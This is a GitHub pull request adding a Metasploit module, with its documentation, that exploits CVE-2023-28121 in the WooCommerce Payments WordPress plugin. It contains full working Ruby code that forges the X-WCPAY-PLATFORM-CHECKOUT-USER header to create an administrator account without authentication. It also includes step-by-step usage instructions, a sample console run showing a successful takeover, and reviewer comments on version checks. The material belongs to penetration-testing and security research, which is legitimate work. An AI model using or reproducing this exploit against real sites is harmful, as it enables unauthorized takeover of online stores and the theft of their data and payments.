Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

WooCommerce Payments auth bypass and priv esc #18164

Merged
merged 10 commits into from
Jul 10, 2023
1 change: 1 addition & 0 deletions data/wordlists/wp-exploitable-plugins.txt
Original file line number Diff line number Diff line change
Expand Up @@ -57,3 +57,4 @@ woocommerce-abandoned-cart
elementor
bookingpress
paid-memberships-pro
woocommerce-payments
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
## Vulnerable Application
WooCommerce-Payments plugin for Wordpress versions 4.8 prior to 4.8.2, 4.9 prior to 4.9.1,
5.0 prior to 5.0.4, 5.1 prior to 5.1.3, 5.2 prior to 5.2.2, 5.3 prior to 5.3.1, 5.4 prior to 5.4.1,
5.5 prior to 5.5.2, and 5.6 prior to 5.6.2 contain an authentication bypass by specifying a valid user ID number
within the `X-WCPAY-PLATFORM-CHECKOUT-USER` header. With this authentication bypass, a user can then use the API
to create a new user with administrative privileges on the target WordPress site IF the user ID
selected corresponds to an administrator account.

### Install

Download, install, and activate [woocomerce-payments 5.6.1](https://downloads.wordpress.org/plugin/woocommerce-payments.5.6.1.zip)

No configuration is required, and one does not need to install the main WooCommerce platform itself.

## Verification Steps

1. Install the plugin
1. Start msfconsole
1. Do: `use auxiliary/scanner/http/wp_woocommerce_payments_add_user`
1. Do: `set username [username]`
1. Do: `set rhosts [ip]`
1. Do: `run`
1. A new WordPress administrator account should be created.
1. Verify the new account uses the username and password specified in the USERNAME and PASSWORD datastore options respectively.

## Options

### USERNAME

The username to create. Default is `msfadmin`.

### PASSWORD

The password for the user. Default is to create a random one.

### EMAIL

The email address for the user. Default is to create a random one.

### ADMINID

The user ID number for an WordPress administrator. Defaults to `1`.
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved

## Scenarios

### VWooCommerce Payments 5.6.1 on Wordpress 6.2.2

```
msf6 > use auxiliary/scanner/http/wp_woocommerce_payments_add_user
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set username h00die
username => h00die
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > exploit
[*] Running module against 1.1.1.1

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/woocommerce-payments/readme.txt
[*] Found version 5.6.1 in the plugin
[+] The target appears to be vulnerable.
[*] Attempting to create an administrator user -> h00die:lWqD3BOer3AFZ ([email protected])
[+] User was created successfully
[*] Auxiliary module execution completed
```
118 changes: 118 additions & 0 deletions modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,118 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Plugin WooCommerce Payments Unauthenticated Admin Creation',
'Description' => %q{
WooCommerce-Payments plugin for Wordpress versions 4.8 prior to 4.8.2, 4.9 prior to 4.9.1,
5.0 prior to 5.0.4, 5.1 prior to 5.1.3, 5.2 prior to 5.2.2, 5.3 prior to 5.3.1, 5.4 prior to 5.4.1,
5.5 prior to 5.5.2, and 5.6 prior to 5.6.2 contain an authentication bypass by specifying a valid user ID number
within the X-WCPAY-PLATFORM-CHECKOUT-USER header. With this authentication bypass, a user can then use the API
to create a new user with administrative privileges on the target WordPress site IF the user ID
selected corresponds to an administrator account.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Michael Mazzolini', # original discovery
'Julien Ahrens' # detailed writeup
],
'References' => [
['URL', 'https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/'],
['URL', 'https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/'],
['CVE', '2023-28121']
],
'DisclosureDate' => '2023-03-22',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [true, 'User to create', '']),
OptString.new('PASSWORD', [false, 'Password to create, random if blank', '']),
OptString.new('EMAIL', [false, 'Email to create, random if blank', '']),
OptInt.new('ADMINID', [false, 'ID Number of a WordPress administrative user', 1]),
OptString.new('TARGETURI', [true, 'The URI of the Wordpress instance', '/'])
]
)
end

def check
unless wordpress_and_online?
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
end

checkcode = check_plugin_version_from_readme('woocommerce-payments', '5.6.2')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your only checking that the target is not running 5.6.2 or later where this was patched but what about versions earlier than 4.8.0 where according to https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/ this vulnerability doesn't exist?

Additionally according to https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/ the following versions are patched:

4.8.2
4.9.1
5.0.4
5.1.3
5.2.2
5.3.1
5.4.1
5.5.2
5.6.2
5.7.0 and above

So in reality I think there may be some more complex logic that needs to be implemented here :/ Just not aware of how to do this sort of branch style version checks using our current code: it seems to only account for their being a single branch that increments, not for multiple branches such as a 4.8.x branch and a 4.9.x branch.

if checkcode == Msf::Exploit::CheckCode::Safe
return Msf::Exploit::CheckCode::Safe('WooCommerce-Payments version not vulnerable')
end

checkcode
end

def run
password = datastore['PASSWORD']
if datastore['PASSWORD'].blank?
password = Rex::Text.rand_text_alphanumeric(10..15)
end

email = datastore['EMAIL']
if datastore['EMAIL'].blank?
email = Rex::Text.rand_mail_address
end

print_status("Attempting to create an administrator user -> #{datastore['USERNAME']}:#{password} (#{email})")
[nil, 'index.php'].each do |url_root| # try through both '' and 'index.php' since API can be in 2 diff places based on install/rewrites
gwillcox-r7 marked this conversation as resolved.
Show resolved Hide resolved
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, url_root, 'wp-json', 'wp', 'v2', 'users'),
'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] },
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
'username' => datastore['USERNAME'],
'email' => email,
'password' => password,
'roles' => ['administrator']
}.to_json
})
fail_with(Failure::Unreachable, 'Connection failed') unless res
next if res.code == 404

if res.code == 201
gwillcox-r7 marked this conversation as resolved.
Show resolved Hide resolved
print_good('User was created successfully')
if framework.db.active
create_credential_and_login({
address: rhost,
port: rport,
protocol: 'tcp',
workspace_id: myworkspace_id,
origin_type: :service,
service_name: 'WordPress',
private_type: :password,
module_fullname: fullname,
access_level: 'administrator',
status: Metasploit::Model::Login::Status::SUCCESSFUL
gwillcox-r7 marked this conversation as resolved.
Show resolved Hide resolved
})
end
else
print_error("Server response: #{res.body}")
end
break # we didn't get a 404 so we can bail on the 2nd attempt
end
end
end